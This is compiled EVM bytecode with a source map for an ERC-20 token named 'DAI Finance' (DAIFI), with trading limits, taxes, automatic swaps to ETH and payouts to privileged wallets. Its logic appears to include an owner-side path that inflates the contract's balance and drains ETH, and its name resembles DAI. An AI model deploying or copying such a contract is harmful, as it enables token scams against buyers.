0x60806040526004361061011e575f3560e01c806378109e541161009d578063a8aa1b3111610062578063a8aa1b3114610334578063a9059cbb14610353578063dd62ed3e14610372578063e8078d94146103b6578063f2fde38b146103be575f80fd5b806378109e54146102995780637d1db4a5146102ae5780638a8c523c146102c35780638da5cb5b146102d757806395d89b4114610307575f80fd5b80633f4218e0116100e35780633f4218e0146101f957806351bc3c851461022757806370a082311461023d578063715018a614610271578063751039fc14610285575f80fd5b806306fdde0314610129578063095ea7b31461016e57806318160ddd1461019d57806323b872dd146101bf578063313ce567146101de575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600b81526a4441492046696e616e636560a81b60208201525b60405161016591906114d5565b60405180910390f35b348015610179575f80fd5b5061018d610188366004611534565b6103dd565b6040519015158152602001610165565b3480156101a8575f80fd5b506101b16103f3565b604051908152602001610165565b3480156101ca575f80fd5b5061018d6101d936600461155e565b610463565b3480156101e9575f80fd5b5060405160098152602001610165565b348015610204575f80fd5b5061018d61021336600461159c565b60046020525f908152604090205460ff1681565b348015610232575f80fd5b5061023b6104cb565b005b348015610248575f80fd5b506101b161025736600461159c565b6001600160a01b03165f9081526002602052604090205490565b34801561027c575f80fd5b5061023b610525565b348015610290575f80fd5b5061023b610538565b3480156102a4575f80fd5b506101b160185481565b3480156102b9575f80fd5b506101b160175481565b3480156102ce575f80fd5b5061023b61054d565b3480156102e2575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610165565b348015610312575f80fd5b50604080518082019091526005815264444149464960d81b6020820152610158565b34801561033f575f80fd5b506006546102ef906001600160a01b031681565b34801561035e575f80fd5b5061018d61036d366004611534565b61056a565b34801561037d575f80fd5b506101b161038c3660046115b7565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61023b610576565b3480156103c9575f80fd5b5061023b6103d836600461159c565b6107ae565b5f6103e9338484610829565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54600154919261045e929091610458919061094c565b9061094c565b905090565b5f61046f848484610957565b6104c084336104bb85604051806060016040528060288152602001611763602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610df2565b610829565b5060015b9392505050565b6015546001600160a01b031633146104e1575f80fd5b305f908152600260205260409020546104f990610e1d565b60405133904780156108fc02915f818181858888f19350505050158015610522573d5f803e3d5ffd5b50565b61052d610f6d565b6105365f610fc6565b565b610540610f6d565b6001546017819055601855565b610555610f6d565b6006805460ff60a01b1916600160a01b179055565b5f6103e9338484610957565b61057e610f6d565b60055f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f291906115ee565b6001600160a01b031663c9c653963060055f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610651573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067591906115ee565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e391906115ee565b600680546001600160a01b0319166001600160a01b039283161790556005546001546107129230921690610829565b6005546001600160a01b031663f305d7193430610743816001600160a01b03165f9081526002602052604090205490565b5f8033426040518863ffffffff1660e01b815260040161076896959493929190611609565b60606040518083038185885af1158015610784573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107a99190611644565b505050565b6107b6610f6d565b6001600160a01b0381166108205760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61052281610fc6565b6001600160a01b03831661088b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610817565b6001600160a01b0382166108ec5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610817565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6104c48284611683565b6001600160a01b0383166109bb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610817565b6001600160a01b038216610a1d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610817565b6001600160a01b0383165f90815260026020526040902054811115610a9e5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610817565b6001600160a01b0383165f9081526004602052604090205460ff16158015610ade57506001600160a01b0382165f9081526004602052604090205460ff16155b15610b2c57600654600160a01b900460ff16610b2c5760405162461bcd60e51b815260206004820152600d60248201526c74726164696e6741637469766560981b6044820152606401610817565b6001600160a01b0383165f9081526004602052604090205460ff16158015610b6c57506001600160a01b0382165f9081526004602052604090205460ff16155b8015610b8657506006546001600160a01b03838116911614155b8015610b9d57506001600160a01b03821661dead14155b15610c15576018546001600160a01b0383165f90815260026020526040902054610bc79083611015565b1115610c155760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610817565b60175481111580610c3d57506001600160a01b0383165f9081526004602052604090205460ff165b80610c5f57506001600160a01b0382165f9081526004602052604090205460ff165b610c9f5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610817565b6006546001600160a01b038381169116148015610cd457506001600160a01b0383165f9081526004602052604090205460ff16155b15610cf157600160075f828254610ceb9190611696565b90915550505b610cfb8383611020565b15610d1057610d0b600a546110a6565b5f6007555b6001600160a01b0383165f90815260026020526040902054610d32908261094c565b6001600160a01b0384165f90815260026020526040812091909155610d57848461122a565b610d615781610d6c565b610d6c84848461126e565b6001600160a01b0384165f90815260026020526040902054909150610d919082611015565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610de49085815260200190565b60405180910390a350505050565b5f8184841115610e155760405162461bcd60e51b815260040161081791906114d5565b505050900390565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e5057610e506116a9565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ea7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ecb91906115ee565b81600181518110610ede57610ede6116a9565b6001600160a01b039283166020918202929092010152600554610f049130911684610829565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f3c9085905f908690309042906004016116bd565b5f604051808303815f87803b158015610f53575f80fd5b505af1158015610f65573d5f803e3d5ffd5b505050505050565b5f546001600160a01b031633146105365760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610817565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f6104c48284611696565b6008545f9060ff1615801561103e5750600654600160a81b900460ff165b80156110535750600654600160a01b900460ff165b801561107757506001600160a01b0383165f9081526004602052604090205460ff16155b801561109057506006546001600160a01b038381169116145b80156104c4575050600954600754101592915050565b6008805460ff19166001908117909155600e54600d54600c545f936110e5936002936110df9391926110d9928391611015565b90611015565b906113d6565b90505f61110782611101600c54866113d690919063ffffffff16565b906113e1565b90505f611114848361094c565b90504761112082610e1d565b5f61112b478361094c565b90505f61114d611146600c548861094c90919063ffffffff16565b83906113e1565b90505f611165600c54836113d690919063ffffffff16565b905080156111775761117786826113ec565b600d545f9061118b906110df8560026113d6565b905080156111d4576015546001600160a01b03166108fc6111ad83600261172c565b6040518115909202915f818181858888f193505050501580156111d2573d5f803e3d5ffd5b505b478015611214576014546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611212573d5f803e3d5ffd5b505b50506008805460ff191690555050505050505050565b6001600160a01b0382165f9081526004602052604081205460ff161580156104c45750506001600160a01b03165f9081526004602052604090205460ff1615919050565b5f8061127a858561148b565b11156113cf575f61129c61128e868661148b565b6013546110df9086906113e1565b6006549091506001600160a01b0386811691161480156112c957506016546001600160a01b038581169116145b156112f2576112dc83633b9aca006113d6565b6006805460ff60a81b1916600160a81b17905590505b305f9081526002602052604090205461130b9082611015565b305f9081526002602052604090205561132761128e868661148b565b9050306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161136e91815260200190565b60405180910390a35f600f541180156113915750600f5461138f868661148b565b115b156113bd576113bd3061dead6113b8600f546110df601354896113e190919063ffffffff16565b610957565b6113c7838261094c565b9150506104c4565b5092915050565b5f6104c4828461172c565b5f6104c48284611743565b6005546114049030906001600160a01b031684610829565b60055460165460405163f305d71960e01b81526001600160a01b039283169263f305d71992859261144392309289925f92839216904290600401611609565b60606040518083038185885af115801561145f573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114849190611644565b5050505050565b6006545f906001600160a01b03908116908316036114ac57506011546103ed565b6006546001600160a01b03908116908416036114cb57506010546103ed565b5060125492915050565b5f6020808352835180828501525f5b81811015611500578581018301518582016040015282016114e4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610522575f80fd5b5f8060408385031215611545575f80fd5b823561155081611520565b946020939093013593505050565b5f805f60608486031215611570575f80fd5b833561157b81611520565b9250602084013561158b81611520565b929592945050506040919091013590565b5f602082840312156115ac575f80fd5b81356104c481611520565b5f80604083850312156115c8575f80fd5b82356115d381611520565b915060208301356115e381611520565b809150509250929050565b5f602082840312156115fe575f80fd5b81516104c481611520565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f805f60608486031215611656575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103ed576103ed61166f565b808201808211156103ed576103ed61166f565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561170b5784516001600160a01b0316835293830193918301916001016116e6565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176103ed576103ed61166f565b5f8261175d57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202012728eaa812451a75b8323a4e1458526b3eb8ab76b8d03287002b4e32b441264736f6c63430008150033

6574:9037:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8701:67;;;;;;;;;;-1:-1:-1;8761:5:0;;;;;;;;;;;;-1:-1:-1;;;8761:5:0;;;;8701:67;;;;;;;:::i;:::-;;;;;;;;9311:133;;;;;;;;;;-1:-1:-1;9311:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9311:133:0;1023:187:1;9450:132:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;9450:132:0;1215:177:1;14956:309:0;;;;;;;;;;-1:-1:-1;14956:309:0;;;;;:::i;:::-;;:::i;8851:67::-;;;;;;;;;;-1:-1:-1;8851:67:0;;6797:1;2000:36:1;;1988:2;1973:18;8851:67:0;1858:184:1;6994:44:0;;;;;;;;;;-1:-1:-1;6994:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10402:206;;;;;;;;;;;;;:::i;:::-;;8924:103;;;;;;;;;;-1:-1:-1;8924:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;9007:18:0;8990:7;9007:18;;;:9;:18;;;;;;;8924:103;5020;;;;;;;;;;;;;:::i;10025:130::-;;;;;;;;;;;;;:::i;8191:63::-;;;;;;;;;;;;;;;;8124:60;;;;;;;;;;;;;;;;9934:83;;;;;;;;;;;;;:::i;4372:87::-;;;;;;;;;;-1:-1:-1;4418:7:0;4445:6;-1:-1:-1;;;;;4445:6:0;4372:87;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;4372:87:0;2299:203:1;8774:71:0;;;;;;;;;;-1:-1:-1;8836:7:0;;;;;;;;;;;;-1:-1:-1;;;8836:7:0;;;;8774:71;;7066:19;;;;;;;;;;-1:-1:-1;7066:19:0;;;;-1:-1:-1;;;;;7066:19:0;;;9033:139;;;;;;;;;;-1:-1:-1;9033:139:0;;;;;:::i;:::-;;:::i;9178:127::-;;;;;;;;;;-1:-1:-1;9178:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;9276:18:0;;;9259:7;9276:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9178:127;9590:336;;;:::i;5278:201::-;;;;;;;;;;-1:-1:-1;5278:201:0;;;;;:::i;:::-;;:::i;9311:133::-;9386:4;9393:37;9402:10;9414:7;9423:6;9393:8;:37::i;:::-;-1:-1:-1;9438:4:0;9311:133;;;;;:::o;9450:132::-;9007:9;:18;;;;7811:42;9503:7;9007:18;;;;;9520:12;;9503:7;;9520:60;;9007:18;;9520:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;9513:67;;9450:132;:::o;14956:309::-;15054:4;15071:36;15081:6;15089:9;15100:6;15071:9;:36::i;:::-;15118:117;15127:6;15135:10;15147:87;15183:6;15147:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15147:19:0;;;;;;:11;:19;;;;;;;;15167:10;15147:31;;;;;;;;;:87;:35;:87::i;:::-;15118:8;:117::i;:::-;-1:-1:-1;15253:4:0;14956:309;;;;;;:::o;10402:206::-;10466:18;;-1:-1:-1;;;;;10466:18:0;10452:10;:32;10444:41;;;;;;10531:4;8990:7;9007:18;;;:9;:18;;;;;;10496:42;;:16;:42::i;:::-;10549:51;;10557:10;;10578:21;10549:51;;;;;;;;;10578:21;10557:10;10549:51;;;;;;;;;;;;;;;;;;;;;10402:206::o;5020:103::-;4258:13;:11;:13::i;:::-;5085:30:::1;5112:1;5085:18;:30::i;:::-;5020:103::o:0;10025:130::-;4258:13;:11;:13::i;:::-;10094:12:::1;::::0;10079::::1;:27:::0;;;10117:15:::1;:30:::0;10025:130::o;9934:83::-;4258:13;:11;:13::i;:::-;9989::::1;:20:::0;;-1:-1:-1;;;;9989:20:0::1;-1:-1:-1::0;;;9989:20:0::1;::::0;;9934:83::o;9033:139::-;9111:4;9118:40;9128:10;9140:9;9151:6;9118:9;:40::i;9590:336::-;4258:13;:11;:13::i;:::-;9668:6:::1;;;;;;;;;-1:-1:-1::0;;;;;9668:6:0::1;-1:-1:-1::0;;;;;9668:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9659:37:0::1;;9705:4;9712:6;;;;;;;;;-1:-1:-1::0;;;;;9712:6:0::1;-1:-1:-1::0;;;;;9712:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9659:67;::::0;-1:-1:-1;;;;;;9659:67:0::1;::::0;;;;;;-1:-1:-1;;;;;3386:15:1;;;9659:67:0::1;::::0;::::1;3368:34:1::0;3438:15;;3418:18;;;3411:43;3303:18;;9659:67:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9652:4;:74:::0;;-1:-1:-1;;;;;;9652:74:0::1;-1:-1:-1::0;;;;;9652:74:0;;::::1;;::::0;;9769:6:::1;::::0;-1:-1:-1;9778:12:0;9737:54:::1;::::0;9754:4:::1;::::0;9769:6:::1;::::0;9737:8:::1;:54::i;:::-;9802:6;::::0;-1:-1:-1;;;;;9802:6:0::1;:22;9832:9;9851:4;9858:24;9851:4:::0;-1:-1:-1;;;;;9007:18:0;8990:7;9007:18;;;:9;:18;;;;;;;8924:103;9858:24:::1;9884:1;9887::::0;9890:10:::1;9902:15;9802:116;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;9590:336::o:0;5278:201::-;4258:13;:11;:13::i;:::-;-1:-1:-1;;;;;5367:22:0;::::1;5359:73;;;::::0;-1:-1:-1;;;5359:73:0;;4590:2:1;5359:73:0::1;::::0;::::1;4572:21:1::0;4629:2;4609:18;;;4602:30;4668:34;4648:18;;;4641:62;-1:-1:-1;;;4719:18:1;;;4712:36;4765:19;;5359:73:0::1;;;;;;;;;5443:28;5462:8;5443:18;:28::i;15273:335::-:0;-1:-1:-1;;;;;15366:19:0;;15358:68;;;;-1:-1:-1;;;15358:68:0;;4997:2:1;15358:68:0;;;4979:21:1;5036:2;5016:18;;;5009:30;5075:34;5055:18;;;5048:62;-1:-1:-1;;;5126:18:1;;;5119:34;5170:19;;15358:68:0;4795:400:1;15358:68:0;-1:-1:-1;;;;;15445:21:0;;15437:68;;;;-1:-1:-1;;;15437:68:0;;5402:2:1;15437:68:0;;;5384:21:1;5441:2;5421:18;;;5414:30;5480:34;5460:18;;;5453:62;-1:-1:-1;;;5531:18:1;;;5524:32;5573:19;;15437:68:0;5200:398:1;15437:68:0;-1:-1:-1;;;;;15516:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15568:32;;1361:25:1;;;15568:32:0;;1334:18:1;15568:32:0;;;;;;;15273:335;;;:::o;1781:98::-;1839:7;1866:5;1870:1;1866;:5;:::i;13659:1289::-;-1:-1:-1;;;;;13756:20:0;;13748:70;;;;-1:-1:-1;;;13748:70:0;;6070:2:1;13748:70:0;;;6052:21:1;6109:2;6089:18;;;6082:30;6148:34;6128:18;;;6121:62;-1:-1:-1;;;6199:18:1;;;6192:35;6244:19;;13748:70:0;5868:401:1;13748:70:0;-1:-1:-1;;;;;13837:23:0;;13829:71;;;;-1:-1:-1;;;13829:71:0;;6476:2:1;13829:71:0;;;6458:21:1;6515:2;6495:18;;;6488:30;6554:34;6534:18;;;6527:62;-1:-1:-1;;;6605:18:1;;;6598:33;6648:19;;13829:71:0;6274:399:1;13829:71:0;-1:-1:-1;;;;;9007:18:0;;8990:7;9007:18;;;:9;:18;;;;;;13919:6;:27;;13911:88;;;;-1:-1:-1;;;13911:88:0;;6880:2:1;13911:88:0;;;6862:21:1;6919:2;6899:18;;;6892:30;6958:34;6938:18;;;6931:62;-1:-1:-1;;;7009:18:1;;;7002:47;7066:19;;13911:88:0;6678:413:1;13911:88:0;-1:-1:-1;;;;;14014:19:0;;;;;;:11;:19;;;;;;;;14013:20;:47;;;;-1:-1:-1;;;;;;14038:22:0;;;;;;:11;:22;;;;;;;;14037:23;14013:47;14010:93;;;14070:13;;-1:-1:-1;;;14070:13:0;;;;14062:39;;;;-1:-1:-1;;;14062:39:0;;7298:2:1;14062:39:0;;;7280:21:1;7337:2;7317:18;;;7310:30;-1:-1:-1;;;7356:18:1;;;7349:43;7409:18;;14062:39:0;7096:337:1;14062:39:0;-1:-1:-1;;;;;14117:19:0;;;;;;:11;:19;;;;;;;;14116:20;:47;;;;-1:-1:-1;;;;;;14141:22:0;;;;;;:11;:22;;;;;;;;14140:23;14116:47;:77;;;;-1:-1:-1;14188:4:0;;-1:-1:-1;;;;;14167:26:0;;;14188:4;;14167:26;;14116:77;:107;;;;-1:-1:-1;;;;;;14197:26:0;;7811:42;14197:26;;14116:107;14113:220;;;14281:15;;-1:-1:-1;;;;;14244:20:0;;;;;;:9;:20;;;;;;:32;;14269:6;14244:24;:32::i;:::-;14243:53;;14235:96;;;;-1:-1:-1;;;14235:96:0;;7640:2:1;14235:96:0;;;7622:21:1;7679:2;7659:18;;;7652:30;7718:32;7698:18;;;7691:60;7768:18;;14235:96:0;7438:354:1;14235:96:0;14361:12;;14351:6;:22;;:45;;;-1:-1:-1;;;;;;14377:19:0;;;;;;:11;:19;;;;;;;;14351:45;:71;;;-1:-1:-1;;;;;;14400:22:0;;;;;;:11;:22;;;;;;;;14351:71;14343:101;;;;-1:-1:-1;;;14343:101:0;;7999:2:1;14343:101:0;;;7981:21:1;8038:2;8018:18;;;8011:30;-1:-1:-1;;;8057:18:1;;;8050:47;8114:18;;14343:101:0;7797:341:1;14343:101:0;14472:4;;-1:-1:-1;;;;;14459:17:0;;;14472:4;;14459:17;:41;;;;-1:-1:-1;;;;;;14481:19:0;;;;;;:11;:19;;;;;;;;14480:20;14459:41;14456:71;;;14523:1;14502:9;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;14456:71:0;14540:37;14559:6;14567:9;14540:18;:37::i;:::-;14537:97;;;14579:29;14594:13;;14579:14;:29::i;:::-;14630:1;14610:9;:22;14537:97;-1:-1:-1;;;;;14664:17:0;;;;;;:9;:17;;;;;;:29;;14686:6;14664:21;:29::i;:::-;-1:-1:-1;;;;;14644:17:0;;;;;;:9;:17;;;;;:49;;;;14729:32;14654:6;14751:9;14729:13;:32::i;:::-;:78;;14801:6;14729:78;;;14764:34;14772:6;14780:9;14791:6;14764:7;:34::i;:::-;-1:-1:-1;;;;;14841:20:0;;;;;;:9;:20;;;;;;14704:103;;-1:-1:-1;14841:40:0;;14704:103;14841:24;:40::i;:::-;-1:-1:-1;;;;;14818:20:0;;;;;;;:9;:20;;;;;;;:63;;;;14897:43;;;;;;;;;;14925:14;1361:25:1;;1349:2;1334:18;;1215:177;14897:43:0;;;;;;;;13737:1211;13659:1289;;;:::o;2205:240::-;2325:7;2386:12;2378:6;;;;2370:29;;;;-1:-1:-1;;;2370:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2421:5:0;;;2205:240::o;12040:434::-;12130:16;;;12144:1;12130:16;;;;;;;;12106:21;;12130:16;;;;;;;;;;-1:-1:-1;12130:16:0;12106:40;;12175:4;12157;12162:1;12157:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12157:23:0;;;:7;;;;;;;;;;:23;;;;12201:6;;:13;;;-1:-1:-1;;;12201:13:0;;;;:6;;;;;:11;;:13;;;;;12157:7;;12201:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12191:4;12196:1;12191:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12191:23:0;;;:7;;;;;;;;;:23;12257:6;;12225:53;;12242:4;;12257:6;12266:11;12225:8;:53::i;:::-;12289:6;;:177;;-1:-1:-1;;;12289:177:0;;-1:-1:-1;;;;;12289:6:0;;;;:57;;:177;;12361:11;;12289:6;;12403:4;;12430;;12450:15;;12289:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12095:379;12040:434;:::o;4537:132::-;4418:7;4445:6;-1:-1:-1;;;;;4445:6:0;399:10;4601:23;4593:68;;;;-1:-1:-1;;;4593:68:0;;9724:2:1;4593:68:0;;;9706:21:1;;;9743:18;;;9736:30;9802:34;9782:18;;;9775:62;9854:18;;4593:68:0;9522:356:1;5639:191:0;5713:16;5732:6;;-1:-1:-1;;;;;5749:17:0;;;-1:-1:-1;;;;;;5749:17:0;;;;;;5782:40;;5732:6;;;;;;;5782:40;;5713:16;5782:40;5702:128;5639:191;:::o;1675:98::-;1733:7;1760:5;1764:1;1760;:5;:::i;10163:231::-;10274:8;;10249:4;;10274:8;;10273:9;:24;;;;-1:-1:-1;10286:11:0;;-1:-1:-1;;;10286:11:0;;;;10273:24;:41;;;;-1:-1:-1;10301:13:0;;-1:-1:-1;;;10301:13:0;;;;10273:41;:65;;;;-1:-1:-1;;;;;;10319:19:0;;;;;;:11;:19;;;;;;;;10318:20;10273:65;:86;;;;-1:-1:-1;10355:4:0;;-1:-1:-1;;;;;10342:17:0;;;10355:4;;10342:17;10273:86;:113;;;;-1:-1:-1;;10376:10:0;;10363:9;;:23;;;10163:231;-1:-1:-1;;10163:231:0:o;10616:1065::-;7424:8;:15;;-1:-1:-1;;7424:15:0;7435:4;7424:15;;;;;;10753:14:::1;::::0;10735:12:::1;::::0;10711::::1;::::0;7424:8;;10710:66:::1;::::0;10774:1:::1;::::0;10711:57:::1;::::0;10753:14;;10711:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;:57::-;10710:63:::0;::::1;:66::i;:::-;10687:89;;10787:32;10822:42;10851:12;10822:24;10833:12;;10822:6;:10;;:24;;;;:::i;:::-;:28:::0;::::1;:42::i;:::-;10787:77:::0;-1:-1:-1;10875:14:0::1;10892:36;:6:::0;10787:77;10892:10:::1;:36::i;:::-;10875:53:::0;-1:-1:-1;10964:21:0::1;10996:24;10875:53:::0;10996:16:::1;:24::i;:::-;11031:20;11054:41;:21;11080:14:::0;11054:25:::1;:41::i;:::-;11031:64;;11106:19;11127:48;11144:30;11161:12;;11144;:16;;:30;;;;:::i;:::-;11127:12:::0;;:16:::1;:48::i;:::-;11106:69;;11186:29;11218;11234:12;;11218:11;:15;;:29;;;;:::i;:::-;11186:61:::0;-1:-1:-1;11261:34:0;;11258:103:::1;;11297:61;11310:24;11336:21;11297:12;:61::i;:::-;11417:12;::::0;11371:20:::1;::::0;11394:36:::1;::::0;:18:::1;:11:::0;11410:1:::1;11394:15;:18::i;:36::-;11371:59:::0;-1:-1:-1;11444:16:0;;11441:75:::1;;11470:18;::::0;-1:-1:-1;;;;;11470:18:0::1;11462:52;11499:14;:12:::0;11512:1:::1;11499:14;:::i;:::-;11462:52;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11441:75;11552:21;11587:28:::0;;11584:90:::1;;11625:20;::::0;11617:55:::1;::::0;-1:-1:-1;;;;;11625:20:0;;::::1;::::0;11617:55;::::1;;;::::0;11656:15;;11625:20:::1;11617:55:::0;11625:20;11617:55;11656:15;11625:20;11617:55;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11584:90;-1:-1:-1::0;;7444:8:0;:16;;-1:-1:-1;;7444:16:0;;;-1:-1:-1;;;;;;;;10616:1065:0:o;12482:160::-;-1:-1:-1;;;;;12588:19:0;;12563:4;12588:19;;;:11;:19;;;;;;;;12587:20;:47;;;;-1:-1:-1;;;;;;;12612:22:0;;;;;:11;:22;;;;;;;;12611:23;;12482:160;-1:-1:-1;12482:160:0:o;12877:774::-;12963:7;13019:1;12986:30;12998:6;13006:9;12986:11;:30::i;:::-;:34;12983:646;;;13032:17;13052:59;13080:30;13092:6;13100:9;13080:11;:30::i;:::-;13063:11;;13052:23;;:6;;:10;:23::i;:59::-;13133:4;;13032:79;;-1:-1:-1;;;;;;13125:12:0;;;13133:4;;13125:12;:43;;;;-1:-1:-1;13150:18:0;;-1:-1:-1;;;;;13139:29:0;;;13150:18;;13139:29;13125:43;13122:92;;;13180:15;:6;13191:3;13180:10;:15::i;:::-;13196:11;:16;;-1:-1:-1;;;;13196:16:0;-1:-1:-1;;;13196:16:0;;;13170:25;-1:-1:-1;13122:92:0;13269:4;13251:24;;;;:9;:24;;;;;;:39;;13280:9;13251:28;:39::i;:::-;13242:4;13224:24;;;;:9;:24;;;;;:66;13313:59;13341:30;13353:6;13361:9;13341:11;:30::i;13313:59::-;13301:71;;13413:4;-1:-1:-1;;;;;13388:42:0;13397:6;-1:-1:-1;;;;;13388:42:0;;13420:9;13388:42;;;;1361:25:1;;1349:2;1334:18;;1215:177;13388:42:0;;;;;;;;13462:1;13444:7;;:20;:64;;;;;13501:7;;13468:30;13480:6;13488:9;13468:11;:30::i;:::-;:40;13444:64;13441:148;;;13510:77;13528:4;7811:42;13550:36;13578:7;;13550:23;13561:11;;13550:6;:10;;:23;;;;:::i;:36::-;13510:9;:77::i;:::-;13606:21;:6;13617:9;13606:10;:21::i;:::-;13599:28;;;;;12983:646;-1:-1:-1;13637:6:0;12877:774;-1:-1:-1;;12877:774:0:o;1887:98::-;1945:7;1972:5;1976:1;1972;:5;:::i;1993:98::-;2051:7;2078:5;2082:1;2078;:5;:::i;11689:343::-;11802:6;;11770:53;;11787:4;;-1:-1:-1;;;;;11802:6:0;11811:11;11770:8;:53::i;:::-;11834:6;;11975:18;;11834:190;;-1:-1:-1;;;11834:190:0;;-1:-1:-1;;;;;11834:6:0;;;;:22;;11864:9;;11834:190;;11897:4;;11917:11;;11834:6;;;;11975:18;;12008:15;;11834:190;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11689:343;;:::o;12650:219::-;12765:4;;12729:7;;-1:-1:-1;;;;;12765:4:0;;;12752:17;;;;12749:38;;-1:-1:-1;12778:7:0;;12771:14;;12749:38;12810:4;;-1:-1:-1;;;;;12810:4:0;;;12800:14;;;;12797:36;;-1:-1:-1;12823:8:0;;12816:15;;12797:36;-1:-1:-1;12850:11:0;;12650:219;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:2